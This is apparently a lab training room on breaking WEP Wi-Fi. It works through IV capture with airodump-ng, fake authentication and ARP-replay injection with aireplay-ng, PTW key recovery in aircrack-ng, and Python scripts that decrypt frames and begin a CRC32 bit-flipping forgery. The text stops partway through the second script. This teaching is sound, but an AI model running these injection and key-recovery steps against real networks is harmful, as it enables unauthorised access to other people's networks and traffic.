Skip to main content

Attacking Legacy Wi-Fi

Break WEP with a statistical key recovery attack and probe WPS for its PIN.

Task 1: Introduction

Wireless security standards have improved steadily over time, and each new standard replaced the last one as its weaknesses became known. However, equipment in the field stays in use after the standard that it shipped with has been replaced. A wireless print server bought in 2006 and never touched again is still doing its job perfectly well. The network around it is still configured the way the print server needed it to be. Building controllers, industrial sensors, medical equipment, point of sale terminals and the occasional forgotten access point in a ceiling void all age in the same way. This older equipment is the easiest thing to attack in the building. If we only know how to attack the current protocols, we will miss it during an assessment.

Two mechanisms in particular keep turning up on equipment of this age. The first is an encryption scheme that was weakened over time and then broken outright, and we can now recover its key by collecting enough traffic from the network and waiting a few seconds. The second is a convenience feature that was added on top of sound encryption, so that a user who does not want to type a long passphrase can press a button or enter a short number instead. However, this feature will hand that long passphrase to anyone who asks for it in the right way. The encryption scheme fails because of its mathematics, and the convenience feature fails because of its design, but in both cases we can get onto the network even when the passphrase is strong.

In this room, we will carry both attacks through to completion against live targets. First, we will collect traffic from a WEP (Wired Equivalent Privacy) network until it yields enough initialisation vectors to recover the key statistically. If the network is too quiet to supply this traffic, we will generate it deliberately. Next, we will open the same capture offline, so that we can read the cipher's construction out of real frames for ourselves. After that, we will take the key a second time from a station on its own, without contacting the access point at all. Then, we will use the recovered key to associate with the network as an ordinary client.

Finally, we will identify a WPS (Wi-Fi Protected Setup) network, look at how the PIN attack works and carry it out against the network. We will watch the fast offline route fail against an access point that generates its random numbers properly, and then watch the slower route succeed. It recovers a WPA2 passphrase that we would not have been able to crack from a captured handshake.

Learning Objectives

  • Explain how WEP uses RC4 and why a 24-bit initialisation vector makes keystream reuse inevitable.
  • Collect initialisation vectors with airodump-ng and generate them on demand with aireplay-ng ARP (Address Resolution Protocol) request replay.
  • Recover a WEP key from collected initialisation vectors using the PTW attack in aircrack-ng.
  • Read an initialisation vector and an ICV (Integrity Check Value) out of a captured frame, and decrypt one by hand with RC4 and CRC32.
  • Recover the key from a station alone with the Caffe Latte attack, without contacting the access point at all.
  • Narrow a keyspace from what is already known and exhaust what remains with a short Python search.
  • Associate with a WEP network using a raw key in wpa_supplicant rather than a derived PSK.
  • Carry a WPS PIN attack through to completion with reaver and recognise when Pixie Dust does not apply.
  • Explain why both attacks make the strength of the WPA2 passphrase irrelevant.

Prerequisites

Machine Access

Start the lab by clicking the Start Machine button below. The machine takes a couple of minutes to boot and then appears in Split View in your browser. The expand button in the bottom-left corner opens the VM in full screen. No login is required, since the session opens directly onto the desktop as the user account. If you would rather work from your own machine, the same account is reachable over SSH with the credentials below. Every command in this room runs on that machine. The lab networks are emulated radios inside the machine itself, so no AttackBox is needed.

The tasks build on one another, so they are meant to be worked in order. The machine does not retain that state across a restart. Resuming the room on another day means starting the lab again and re-running the earlier tasks.

Credentials for the lab machine are below:

Credentials

 

Username
 
user
 
Password
 
user
 
IP address
 
MACHINE_IP
 
Connection via
 
SSH
ssh user@MACHINE_IP
 

Confirming the Wireless Interfaces

Open a Terminal on the machine and confirm that the wireless interfaces are present:

Terminal
user@debian-thm:~$ sudo iw dev

The command should list several wlan interfaces on the machine, numbered from wlan0 upward. These are the radios that we will use to observe the networks in the lab and to attack them. Since most of the tools in this room require root privileges, our commands are prefixed with sudo. If sudo asks for a password, we can enter user.

The attacks in this room run from a card in monitor mode, so create the monitor interface before you begin:

Terminal
user@debian-thm:~$ sudo airmon-ng check kill
user@debian-thm:~$ sudo airmon-ng start wlan0

The above commands will stop NetworkManager and then put wlan0 into monitor mode as wlan0mon. NetworkManager manages every wireless radio on the machine. If we leave the service running, it will take back a managed radio such as wlan1 moments after wpa_supplicant associates it with a network. The association appears to succeed and wpa_supplicant reports no error, but iw dev wlan1 link then reads Not connected and every DHCPDISCOVER goes unanswered. We can avoid this by stopping NetworkManager before we begin, so we should not skip the airmon-ng check kill command. Since the command also stops any wpa_supplicant that is already running, we have to run it before we start one of our own.

Apart from the Taking the Key From the Client task, every capture and injection command in this room runs on wlan0mon. wlan1 stays in managed mode, and we will use it to associate with each network once we hold its key. We should keep each of these two jobs on its own radio for the whole room. The Taking the Key From the Client task attacks a station instead of an access point, and it sets up two further radios of its own. In that task, wlan4 runs the rogue access point and wlan5 deauthenticates, injects and captures, and neither radio is used anywhere else in the room.

Answer the questions below

  1. Deploy the machine and read through the introduction, then continue to the next task when you are ready.

Task 2: How WEP Works and Why It Failed

Encryption on a wireless link has to cope with frames that arrive out of order and with frames that never arrive at all. Each frame has to be decrypted on its own without depending on the frame before it, and a stream cipher is well suited to this kind of situation. Unlike a block cipher, which transforms data in fixed-size blocks, a stream cipher takes a key and produces a long pseudorandom sequence known as a keystream. The keystream is then combined with the plaintext one bit at a time using XOR. Since the receiver holds the same key, it can generate the identical keystream and apply XOR a second time, and the second XOR cancels the first one and gives back the original data. WEP uses the RC4 stream cipher for this. RC4 was fast and compact, and it was well regarded at the time the WEP standard was written.

With any stream cipher, a keystream must never be used twice. If two frames are encrypted with the same keystream and we capture both of them, we can XOR the two ciphertexts together. Since the keystream appears in both ciphertexts, it cancels itself out completely and leaves the two plaintexts combined with each other. The key is not part of this result at all, and at this point we still do not have it. However, structured data such as protocol headers can often be recovered from that combination alone, so the encryption is no longer protecting the data.

The Initialisation Vector and Why It Runs Out

Every device on the network shares one static key. If that key were the whole seed, every frame would be encrypted with the same keystream. To avoid this, WEP prepends a per-frame value called an initialisation vector to the key before seeding RC4, which gives each frame a different keystream. The receiver needs the initialisation vector in order to rebuild the same seed. Since the vector cannot be derived from anything secret, WEP sends it in the clear in the frame header as a normal part of its design.

The flaw in the initialisation vector is its size, as it is only 24 bits long and allows a little over sixteen million distinct values. An access point carrying a few hundred frames per second works through that entire space in a matter of hours. Some devices choose each initialisation vector at random, and the chance of a repeat then grows with the square of the number of frames rather than linearly, so repeats turn up long before the whole space has been used up. Other devices count their initialisation vectors upward, and a repeat then has to wait for the counter to wrap or for the device to restart it. The network in our lab counts upward, and we will see this in the Inside a WEP Frame task when we read the counters straight out of a capture.

Either way, two frames are certain to share an initialisation vector on a network like this one, and when they do, they also share a keystream. We only need to keep capturing traffic until that happens.

From Reused Keystreams to a Recovered Key

On top of keystream reuse, RC4 does not mix its seed as thoroughly as a modern cipher would. In 2001, Fluhrer, Mantin and Shamir showed that for certain initialisation vector values, the first bytes of the keystream are correlated with the bytes of the secret key, and the attack built on this is known as the FMS attack. A single frame with one of these values reveals almost nothing, since the correlation is weak and any individual guess at a key byte is usually wrong. Once we have collected enough of these frames, though, the correct value of each key byte comes up as the most frequent answer, while the wrong guesses are scattered across many different values. Only a small share of the traffic carries one of these initialisation vectors, so collecting enough of them means capturing a very large number of frames.

In 2007, Pyshkin, Tews and Weinmann improved the attack considerably, and their version is known as the PTW attack. FMS could only use frames that carried one of the specific weak initialisation vectors, and it had to solve for the key bytes one after another. PTW extracts information from essentially every captured frame, and it solves for the key bytes together. In practice, FMS needed several hundred thousand frames, so an attack with it could take several hours. PTW needs a few tens of thousands, and an attack with it can be finished while we are still capturing traffic.

Key Sizes and What They Do Not Buy

WEP is usually advertised as either 64-bit or 128-bit. Both of these numbers are misleading, because they count the 24-bit initialisation vector as though it were part of the secret. Without the initialisation vector, a 64-bit key is a 40-bit shared secret written as ten hexadecimal digits, and a 128-bit key is a 104-bit shared secret written as twenty-six hexadecimal digits. The 104-bit secret would take much longer to brute force than the 40-bit one.

However, neither FMS nor PTW is a brute-force attack. Both recover the key statistically from correlations in the traffic that we capture, so their effort depends on how many initialisation vectors we have collected. A longer key still costs us something, since we have to capture more frames. With FMS, a 128-bit key needs several times as many frames as a 64-bit key. With PTW, the extra frames might add only a few more minutes to the capture. This is different from WPA2, where the attack is a guess-and-check against a wordlist, and a longer and more unusual passphrase costs us more. Since both WEP attacks still succeed against either key size, WEP is described as broken, and choosing a longer key does not fix it.

Once we recover the key, we have access to everything the network has to offer. WEP uses one shared key and no per-session keys, so that single value decrypts every frame from every device. That value keeps working on traffic captured long after we recovered it. There is no forward secrecy either, so the key also decrypts any traffic that we captured before we recovered it. On top of this, WEP does nothing to separate the traffic of one client from the traffic of another.

We can also associate with the network as an ordinary station, and this places us inside whatever the wireless boundary was protecting. On networks that still run WEP, that boundary is often the only control between an outsider and the internal subnet. In many cases, that subnet is flat, and the services on it do not require authentication.

Answer the questions below

  1. How many bits long is the WEP initialisation vector?

  2. Which attack, named after its three authors and published in 2007, recovers a WEP key from far fewer initialisation vectors than the FMS attack?

Task 3: Capturing Initialisation Vectors

In practice, breaking WEP is almost entirely a matter of collecting initialisation vectors, since the key can be recovered from a large enough sample of them. Our target is Home-Legacy, which broadcasts from F0:9F:C2:71:22:11 on channel 3. The sweep in the Wi-Fi Fundamentals and Reconnaissance room listed it advertising WEP in both its ENC and CIPHER columns. It is the only network in the environment that shows WEP in both.

First, we can use airodump-ng to pin our monitor interface to channel 3, filter the capture to the BSSID of Home-Legacy and write everything to disk.

Lab note: Leave this capture running in its own terminal for the rest of the task. Open a second terminal for the commands that follow. aireplay-ng generates the traffic but records none of it, so the whole attack depends on airodump-ng collecting that traffic.

Terminal
user@debian-thm:~$ sudo airodump-ng -c 3 --bssid F0:9F:C2:71:22:11 -w wep wlan0mon

 CH  3 ][ Elapsed: 40 s ][ 2026-08-26 09:40

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 F0:9F:C2:71:22:11  -28 100      391    13817  345   3   54   WEP  WEP         Home-Legacy

 BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes

 F0:9F:C2:71:22:11  64:32:A8:56:32:56  -29    0 - 1       0    13774

While the capture runs, we should watch the #Data column, since it counts the encrypted data frames and each of these frames carries exactly one initialisation vector. The Beacons column counts the management frames that the access point sends whether or not anyone is using the network, and beacon frames do not carry an initialisation vector. If the Beacons count is climbing steadily while #Data stays the same, we are not collecting anything of value. The #/s column beside #Data shows the rate at which the data frames arrive. This capture is collecting 345 frames per second, and since the crack in the next task starts from 35,000 initialisation vectors, we will have enough in under two minutes.

The station at 64:32:A8:56:32:56 is an associated client that is actively using the network, and its traffic accounts for almost the entire data count. As a WEP network with a busy client, Home-Legacy is the easy case. All we need to do is wait, and the tens of thousands of initialisation vectors that PTW needs will arrive without us injecting anything.

Generating Traffic When the Network Is Quiet

Most of the WEP networks that we come across will not have a busy client like the one on Home-Legacy. On a real assessment, we are far more likely to find a WEP network serving a printer or a controller that sends a handful of frames an hour. At that rate our collection would take months, so we have to generate the traffic ourselves.

To build a new encrypted frame, we would need keystream, and we do not have any yet. The fragmentation and chopchop attacks can recover enough keystream from a captured frame to forge new frames, without ever learning the key. However, the simpler route is to take an encrypted frame that already exists and send it a second time. The access point has no way to recognise a replayed frame as a duplicate, so it decrypts it, acts on it and responds. Each response is a new frame carrying a new initialisation vector for us to collect.

The frame that we replay is an ARP request, the short query that a host sends to learn which MAC address owns an IP address on the local network. Even when it is encrypted, an ARP request can be identified by its fixed and distinctive length, so our tools can pick one out of a capture without being able to read it. More importantly, an ARP request is a question that reliably provokes an answer, so every copy that we replay generates fresh traffic.

Before we can inject anything, the access point has to recognise our radio as an associated station, since it discards frames from an unknown source address. A fake authentication establishes that association without any knowledge of the key, because WEP's open system authentication does not verify that the station holds one.

We can perform a fake authentication against Home-Legacy using aireplay-ng.

Terminal
user@debian-thm:~$ sudo aireplay-ng -1 0 -a F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
09:37:28  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:11) on channel 3

09:37:28  Sending Authentication Request (Open System)
09:37:28  Authentication successful
09:37:28  Sending Association Request
09:37:28  Association successful :-) (AID: 1)

The -1 flag selects the fake authentication attack, and the 0 after it sets the time in seconds between re-associations. With a value of zero, aireplay-ng only associates with the access point once. The -1 0 form is easy to mix up with the -0 deauthentication attack that we used in the Attacking Open and WPA2-PSK Networks room. In that attack, the number after the flag is a count of deauthentication bursts.

The -h value is the MAC address of our monitor interface. On the last line of the output, the association identifier of 1 shows that the access point has accepted our interface as a station.

Next, we can start the ARP request replay by running aireplay-ng with the -3 flag.

Terminal
user@debian-thm:~$ sudo aireplay-ng -3 -b F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
09:37:28  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:11) on channel 3

Saving ARP requests in replay_arp-0826-093728.cap
You should also start airodump-ng to capture replies.
Read 155 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
Read 502 packets (got 50 ARP requests and 0 ACKs), sent 49 packets...(499 pps)
Read 1216 packets (got 303 ARP requests and 0 ACKs), sent 300 packets...(501 pps)
Read 2489 packets (got 760 ARP requests and 0 ACKs), sent 750 packets...(499 pps)

The first line of counters shows no ARP requests and nothing sent, because aireplay-ng has to see a real ARP request on the network before it has anything to replay. Once one arrives, the ARP request and packet counts climb together and the send rate settles at around 500 packets per second. Each of these packets draws a reply that carries a fresh initialisation vector.

The reminder to start airodump-ng is there because aireplay-ng generates the traffic but records none of it, so our capture from earlier has to stay running in its own terminal throughout. If we switch back to that terminal, we can see that the #Data count is now climbing much faster than the network would manage by itself.

Answer the questions below

  1. Which airodump-ng column counts the encrypted data frames that carry initialisation vectors?

  2. Which aireplay-ng attack number performs the ARP request replay?

Task 4: Recovering the WEP Key

Recovering the WEP key from the capture of initialisation vectors that we left running in the previous task takes very little effort. When aircrack-ng opens a capture file, it reads every packet and counts the initialisation vectors that the file contains. If the traffic turns out to be WEP, the PTW attack runs automatically, so we do not have to select an attack by hand.

We can point aircrack-ng at our capture file and restrict it to our target's BSSID with -b, so it does not stop to ask which network we meant.

Terminal
user@debian-thm:~$ sudo aircrack-ng -b F0:9F:C2:71:22:11 wep-01.cap
Reading packets, please wait...
Opening wep-01.cap
Read 57983 packets.

1 potential targets

Attack will be restarted every 5000 captured ivs.
Got 35732 out of 35000 IVs
Starting PTW attack with 35732 ivs.

                                 Aircrack-ng 1.7 rev d3127e74

                     [00:00:04] Tested 37008 keys (got 24828 IVs)

   KB    depth   byte(vote)
    0    0/  1   11(50944) 8C(45312) E5(43264) E6(43264) 77(43008) 1E(42752)
    1    0/  2   BB(46336) 20(44032) 59(41728) AA(41728) EC(41728) 45(41472)
    2    8/ 17   F7(41472) 24(41216) DF(41216) F0(41216) 6E(40960) B0(40960)
    3    0/  1   CD(46080) CF(42496) 87(42240) 94(41984) 54(41728) 62(41728)
    4    0/  1   55(48128) 22(44032) 91(44032) 79(43776) 24(42496) 14(42240)

                         KEY FOUND! [ <key> ]
        Decrypted correctly: 100%

The timer in the above output only shows a few seconds, even though the key on this network would not have been in any wordlist. When we cracked WPA2 in the Attacking Open and WPA2-PSK Networks room, aircrack-ng derived a candidate key from every word in a list. Each of those candidates was checked against the captured handshake, so the work was proportional to the size of the list. A passphrase that was not in the list was never found at all. As we saw in the How WEP Works and Why It Failed task, the PTW attack does not use a wordlist. The KB table in the above output shows the work that it does.

The table and the timer are redrawn in place while the search runs. If our capture holds enough initialisation vectors to find the key straight away, the table can disappear from the screen before we see it. In that case, the terminal only shows the result, with no timer left on screen.

If we miss the table, we can run the same command again and watch the first second of the output.

There is one row in the table for each byte of the key. The byte(vote) column lists the candidates for that byte, ranked by how much statistical support the captured initialisation vectors give each one. In most cases, the top-ranked candidate is the correct byte. How many candidates fit on a row depends on the width of the terminal, with six on a narrow terminal and sixteen on a wide one.

The depth column gives the position of the candidate being tried for that byte, counted from zero, out of the number of candidates in play. For example, 0/ 1 means that aircrack-ng used the highest-voted byte. On key byte two, 8/ 17 means that the search had gone eight places down the ranking for that byte. The row is printed from that point onwards, so the eight candidates with more votes are not shown on screen.

The key counter on the timer line does not show this depth. It is a running total of the complete keys that aircrack-ng has tested, so it climbs as the search goes deeper on any byte. On this network, the count runs into the tens of thousands. Testing that many keys only takes a few seconds, against the hours that a passphrase search would take. Most of the time for this attack went on the capture that we ran in the previous task.

The line reading Decrypted correctly: 100% is the verification step. Once aircrack-ng has a candidate key, it uses that key to decrypt frames from our capture and checks whether the results carry valid checksums. A wrong key produces garbage that fails those checks straight away, so a clean result confirms that the statistically recovered key is the one actually in use on the network.

In the KEY FOUND! line, the key is shown as five bytes separated by colons, and the colons are only there to make it easier to read. Five bytes is forty bits, so this is a 40-bit secret, the configuration that is usually advertised as 64-bit WEP. Most tools want the key as a plain ten-character hexadecimal string with no separators, so we should write it down without the colons, ready for the next task.

If our capture had been short of initialisation vectors, aircrack-ng would have asked for more traffic and offered to retry the attack as more of them arrived, so we can comfortably start it while our capture is still in progress. As we saw in the How WEP Works and Why It Failed task, this attack is limited by how many initialisation vectors we have collected, and the computing power of our machine makes little difference to it. Against WEP, we only need to keep the capture running for long enough.

Answer the questions below

  1. What is the WEP key for Home-Legacy?

  2. What does aircrack-ng report as the decryption success rate when it confirms a recovered WEP key?

Task 5: Inside a WEP Frame

As we saw in the How WEP Works and Why It Failed task, the initialisation vector is sent in the clear. It takes up the three bytes in front of the encrypted data, and the receiver reads them before it decrypts anything. Without holding the key, we can read those bytes in the same way.

We can print the vector straight out of the file we collected earlier using tshark, the command-line form of Wireshark. It dissects the capture without decrypting any of the frames in it.

Terminal
user@debian-thm:~$ tshark -r wep-01.cap -Y "wlan.fc.protected == 1" -T fields -e frame.number -e wlan.ta -e wlan.wep.iv -e wlan.wep.key -c 8
1	64:32:a8:56:32:56	0x64498e	0
2	f0:9f:c2:71:22:11	0xf8b243	0
3	64:32:a8:56:32:56	0x64498f	0
4	f0:9f:c2:71:22:11	0xf8b244	0
5	64:32:a8:56:32:56	0x644990	0
6	f0:9f:c2:71:22:11	0xf8b245	0

In the above command, the -Y option is a display filter that keeps only the frames whose Protected bit is set, and -T fields asks for named fields instead of a packet summary. Since -c 8 stops after eight frames have been read, at most eight lines come back, or fewer when beacons or probe responses take up some of those first eight records. The columns are the frame number, the transmitter, the initialisation vector and the key index.

From the above output, we can see two transmitters, the access point at f0:9f:c2:71:22:11 and the station at 64:32:a8:56:32:56, and their vectors interleave in the listing. The station issues 64498e, 64498f and 644990, while the access point issues f8b243, f8b244 and f8b245, so each device is running a counter of its own. As described in the How WEP Works and Why It Failed task, a counter goes up by one for every frame that its owner transmits, starting from wherever it happened to be when the device booted. On these devices, a vector repeats when the counter wraps after going through all 16,777,216 possible vectors, or when the device restarts.

The key index reads 0 on every row, and it is the same field that wep_tx_keyidx sets in a client configuration. A station may hold four keys, and the index names the key that encrypted the frame.

A listing taken from our own capture will not match the one above, since its vectors record where each counter had reached when we started listening. Its counters will skip values wherever the card missed a frame, because a capture only records the frames that the card happened to receive.

To decrypt a frame, the receiver puts the three bytes of the vector in front of the shared key and seeds RC4 with the result. A 40-bit key is five bytes long, so the seed comes to eight bytes, three of which arrived in the clear with the frame. Joining the vector to the key is all there is to the construction. It is small enough for us to write out ourselves and check against real frames.

Decrypting a Frame by Hand

We need two pieces of code, and neither of them is large. RC4 is fourteen lines, and it is made up of a key scheduling algorithm and a generator. The key scheduling algorithm permutes a 256-byte array according to the seed, and the generator then walks that array to produce one keystream byte for each byte of data.

The second piece, the integrity check, is a single comparison. WEP's ICV is a CRC32 computed over the plaintext, and it is appended to that plaintext and then encrypted along with it. A receiver decrypts the body, splits the last four bytes off and compares them against a CRC32 that it computes itself.

First, we can create a directory to hold the scripts this task uses.

Terminal
user@debian-thm:~$ mkdir -p /tmp/wepint

Then, we can write the following script to /tmp/wepint/wep-decrypt.py. It uses nothing outside the standard library, and it walks the capture file by hand instead of through a parsing library, so that every offset stays visible. For example, we can see the three vector bytes being lifted from offset 24 of each frame.

#!/usr/bin/env python3
"""Seed RC4 with IV||key, decrypt a real WEP frame, and check the ICV with CRC32."""
import struct, sys, zlib

cap = sys.argv[1]
keyhex = sys.argv[2]
count = int(sys.argv[3]) if len(sys.argv) > 3 else 3
key = bytes.fromhex(keyhex)

def rc4(seed, data):
    S = list(range(256))
    j = 0
    for i in range(256):                       # KSA: the whole secret enters here
        j = (j + S[i] + seed[i % len(seed)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    out = bytearray()
    i = j = 0
    for b in data:                             # PRGA: one keystream byte per plaintext byte
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

def frames(path):
    f = open(path, "rb")
    magic, vmaj, vmin, tz, sig, snap, link = struct.unpack("<IHHiIII", f.read(24))
    assert link == 105, "linktype %d, expected 105 (IEEE 802.11)" % link
    while True:
        ph = f.read(16)
        if len(ph) < 16:
            return
        ts, tus, cl, ol = struct.unpack("<IIII", ph)
        yield f.read(cl)

print("WEP key supplied : %s  (%d bytes = %d-bit secret, advertised as %d-bit WEP)"
      % (keyhex, len(key), len(key) * 8, len(key) * 8 + 24))
print()

ok = bad = 0
shown = 0
for d in frames(cap):
    if len(d) < 36:
        continue
    fc = struct.unpack("<H", d[0:2])[0]
    if ((fc >> 2) & 3) != 2 or not ((fc >> 14) & 1):
        continue
    iv = d[24:27]
    body = d[28:]
    seed = iv + key                            # <-- the entire construction
    plain = rc4(seed, body)
    payload, icv = plain[:-4], plain[-4:]
    calc = zlib.crc32(payload) & 0xFFFFFFFF
    got = struct.unpack("<I", icv)[0]
    if calc == got:
        ok += 1
    else:
        bad += 1

    if shown < count:
        shown += 1
        print("=== frame %d ===" % shown)
        print("  IV (clear, from the frame)   %s" % iv.hex())
        print("  key (the shared secret)      %s" % key.hex())
        print("  RC4 seed = IV || key         %s   <-- %d bits, of which %d are public"
              % (seed.hex(), len(seed) * 8, 24))
        print("  ciphertext, first 16 bytes   %s" % body[:16].hex())
        print("  plaintext,  first 16 bytes   %s" % payload[:16].hex())
        if payload[:6] == b"\xaa\xaa\x03\x00\x00\x00":
            et = struct.unpack(">H", payload[6:8])[0]
            print("                               ^ LLC/SNAP aa aa 03 00 00 00, ethertype 0x%04x" % et)
            if et == 0x0800 and len(payload) > 28:
                ihl = (payload[8] & 0xF) * 4
                src = ".".join(str(b) for b in payload[8 + 12:8 + 16])
                dst = ".".join(str(b) for b in payload[8 + 16:8 + 20])
                print("                               IPv4 %s -> %s  proto %d  len %d"
                      % (src, dst, payload[8 + 9], struct.unpack(">H", payload[8 + 2:8 + 4])[0]))
        print("  ICV from frame (little-end)  %s  = 0x%08x" % (icv.hex(), got))
        print("  CRC32 of decrypted payload   %s  = 0x%08x"
              % (struct.pack("<I", calc).hex(), calc))
        print("  ICV check                    %s" % ("PASS" if calc == got else "FAIL"))
        print()
        if shown == 1 and calc == got and payload[:6] == b"\xaa\xaa\x03\x00\x00\x00":
            # Keystream recovery: no key needed, only a guessed plaintext. Only claim it
            # where the key was right and the frame really does start with LLC/SNAP,
            # or the sentence below describes something that did not happen.
            ks_from_key = bytes(a ^ b for a, b in zip(body, payload))
            known = b"\xaa\xaa\x03\x00\x00\x00"
            ks_from_guess = bytes(a ^ b for a, b in zip(body[:6], known))
            print("  keystream RC4 actually produced (first 6) %s" % ks_from_key[:6].hex())
            print("  keystream recovered by guessing the SNAP  %s" % ks_from_guess.hex())
            print("  identical: %s  -- that recovery used no key at all, only a guess at the"
                  % (ks_from_key[:6] == ks_from_guess))
            print("  first six plaintext bytes, which every LLC/SNAP frame shares.")
            print()

print("--- every protected data frame in the capture ---")
print("ICV verified   : %d" % ok)
print("ICV failed     : %d" % bad)
print("verification rate: %.2f%%" % (100.0 * ok / (ok + bad) if ok + bad else 0))

After that, we can run it against the capture collected earlier, with the ten hexadecimal characters recovered in the Recovering the WEP Key task in place of <key>. Both scripts in this task read the key with bytes.fromhex, so we have to enter it without the colons that aircrack-ng printed. If we enter the colon-separated form, the script stops with an error. The final argument is how many frames to print in full.

Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-decrypt.py wep-01.cap <key> 1
WEP key supplied : <key>  (5 bytes = 40-bit secret, advertised as 64-bit WEP)

=== frame 1 ===
  IV (clear, from the frame)   64498e
  key (the shared secret)      <key>
  RC4 seed = IV || key         64498e<key>   <-- 64 bits, of which 24 are public
  ciphertext, first 16 bytes   5b4116e06690deccc73b97e2f3aed474
  plaintext,  first 16 bytes   aaaa0300000008004500040479054000
                               ^ LLC/SNAP aa aa 03 00 00 00, ethertype 0x0800
                               IPv4 <client-ip> -> 192.168.1.1  proto 1  len 1028
  ICV from frame (little-end)  2bc05c40  = 0x405cc02b
  CRC32 of decrypted payload   2bc05c40  = 0x405cc02b
  ICV check                    PASS

  keystream RC4 actually produced (first 6) f1eb15e06690
  keystream recovered by guessing the SNAP  f1eb15e06690
  identical: True  -- that recovery used no key at all, only a guess at the
  first six plaintext bytes, which every LLC/SNAP frame shares.

--- every protected data frame in the capture ---
ICV verified   : 24829
ICV failed     : 0
verification rate: 100.00%

From the first sixteen bytes of plaintext, we can see that the seed was built correctly. They open with the six bytes aa aa 03 00 00 00, an LLC/SNAP header, and these are followed by the two-byte ethertype 0x0800 for IPv4. The byte after that, 45, is the start of a well-formed IPv4 header. The script reads the addresses, protocol number and total length out of that header for us.

This plaintext only comes back when the vector goes in front of the key. If we build the seed with the key first and the vector after it, the output looks just as random as the ciphertext that went in. The same happens if we seed RC4 with the key by itself.

The last four bytes of the decrypted body are the ICV, stored little-endian, and the CRC32 computed over everything in front of them matches it. A single frame could match by accident, at odds of roughly one in four billion, so the script goes on to decrypt every protected data frame in the file and reports how many of them passed. Since each frame has its own vector and is decrypted under a different keystream, each frame that passes is a separate check on the key. The whole run takes around eighteen seconds.

Your own counts will be different, since they describe however much traffic you collected. If the first frame in your file carries ARP and not IPv4, the script prints no address line for it, and you can raise the final argument to show further frames.

Checking the Work Against a Wrong Key

If the ICV check passed everything, it would pass a wrong key as well as the correct one, so one successful run does not prove much on its own. Next, we can run the same script over the same frames, with only one character of the key changed. Put the recovered key in place of <wrong-key>, with its last hexadecimal character swapped for any other digit.

Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-decrypt.py wep-01.cap <wrong-key> 1

With the wrong key, every frame fails the ICV check, and the rate at the end reads 0.00% where the correct key gave 100.00%. Between them, the two runs confirm that the key the statistical attack recovered is the one in use on this network. Outside WEP, the same check works on anything that takes a key and gives a result we can verify. We can run it once with a key that should succeed and once with a key that should fail.

We can also compare the ICV from frame line between the two runs. The failing run reads a different ICV out of the same frame, since the ICV is computed over the plaintext and then encrypted along with it. If the checksum travelled in the clear beside the ciphertext, both runs would read the same four bytes. With a wrong key, the stored checksum and the computed checksum are both corrupted at once, so both sides of the comparison move.

Recovering Keystream From a Guess

Encryption in WEP is XOR with a keystream, so if we know any two of the ciphertext, the plaintext and the keystream, we can work out the third. The receiver works out the plaintext from the ciphertext and the keystream it generates from the key, but nothing stops us from working out the keystream from the ciphertext and a plaintext that we can guess.

Without the key, we do not have the plaintext of the frame, but we only need the first part of it. Every data frame that carries a network-layer payload begins with the LLC/SNAP header we saw above, aa aa 03 00 00 00, so a guess at those six bytes is always right. If we combine them with the first six bytes of ciphertext, we get six bytes of keystream for that frame.

Near the foot of the first run, the script prints this keystream twice, once recovered from the guess with no key involved and once produced by RC4 from the key. The line printed below the two of them reads identical: True.

This keystream belongs to one initialisation vector, so we can only use it to encrypt six bytes in a frame that carries that same vector. It is not the key, and we cannot work the key out from it, so on its own this result is not enough to break WEP. However, an attack can build on it by persuading the access point to return longer and longer stretches of the same keystream. In the Forging Traffic Without the Key task, we will look at that attack.

Correcting the Checksum Without the Key

The designers of WEP were dealing with a noisy radio link, and CRC32 was a reasonable choice of ICV for that problem. It is cheap to compute, and it catches the kind of damage that a noisy link does to a frame in flight. However, CRC32 is linear over XOR, and this property makes it unfit for protecting a frame against changes made on purpose. If we flip some bits in a message, the difference between the old checksum and the new one depends only on which bits were flipped, so it is the same whatever the message happens to contain.

Because of this linearity, we can change both the payload of a frame and its checksum without holding the key. Since the ciphertext is the plaintext combined with the keystream by XOR, flipping a bit of the ciphertext flips the same bit of the plaintext, and we never need to know the keystream to do it. The correction that the flip needs in the CRC32 can be worked out from our own mask, by taking the checksum of the mask and combining it with the checksum of a run of zero bytes of the same length. The stored ICV is encrypted with the same keystream as the payload, so we can apply that correction to the encrypted ICV directly, and the payload and the checksum will still agree when the receiver decrypts them. Forging a frame in this way is known as a bit-flipping attack, and it defeats the integrity check without any attack on the encryption itself.

Write the following to /tmp/wepint/wep-bitflip.py.

#!/usr/bin/env python3
"""CRC32 is linear, so the ICV can be corrected without the key. Show it."""
import struct, sys, zlib

cap = sys.argv[1]
keyhex = sys.argv[2]
key = bytes.fromhex(keyhex)

def rc4(seed, data):
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + seed[i % len(seed)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    out = bytearray(); i = j = 0
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

def crc_delta(d):
    """CRC32(p XOR d) XOR CRC32(p), computed from d alone. No plaintext needed."""
    return zlib.crc32(d) ^ zlib.crc32(bytes(len(d)))

f = open(cap, "rb")
assert struct.unpack("<IHHiIII", f.read(24))[6] == 105, "expected linktype 105 (IEEE 802.11)"
frame = None
while frame is None:
    ph = f.read(16)
    if len(ph) < 16:
        break
    cl = struct.unpack("<IIII", ph)[2]
    d = f.read(cl)
    fc = struct.unpack("<H", d[0:2])[0]
    if ((fc >> 2) & 3) == 2 and ((fc >> 14) & 1) and len(d) > 100:
        frame = d

if frame is None:
    sys.exit("no protected data frame longer than 100 bytes in this capture; "
             "collect a little more traffic and try again")

iv, ct = frame[24:27], frame[28:]
ct_body, ct_icv = ct[:-4], ct[-4:]

print("Everything below this line is done WITHOUT the key.")
print("-" * 68)
